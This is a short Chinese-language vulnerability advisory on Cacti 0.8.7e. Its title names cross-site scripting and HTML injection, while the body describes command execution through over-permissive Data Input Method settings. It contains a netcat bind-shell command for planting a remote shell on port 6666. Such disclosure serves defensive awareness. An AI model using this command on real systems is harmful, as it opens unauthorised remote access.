Cacti多个跨站脚本和HTML注入漏洞

Cacti多个跨站脚本和HTML注入漏洞 受影响系统：

Cacti Cacti 0.8.7e
描述：


--------------------------------------------------------------------------------

BUGTRAQ  ID: 37137

Cacti是一款轮循数据库（RRD）工具，可帮助从数据库信息创建图形，有多个Linux版本。

由于配置Cacti的WEB界面的权限设置过于宽松，cacti管理员可以以运行Cacti投票机制用户的权限（通常为非特权用户）在系统上执行任意命令。例如，可以通过更改Linux - Get Memory Usage的Data Input Method在Cacti系统上生成后门或远程shell。将Input String设置为nohup nc -l -p 6666 -n -e /bin/sh &就会在调用这个处理器的时候生成远程可访问的shell。

<*来源：Moritz Naumann
  
  链接：http://marc.info/?l=full-disclosure&m=125921452816513&w=2
*>

建议：


--------------------------------------------------------------------------------

厂商补丁：

Cacti
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://cacti.net/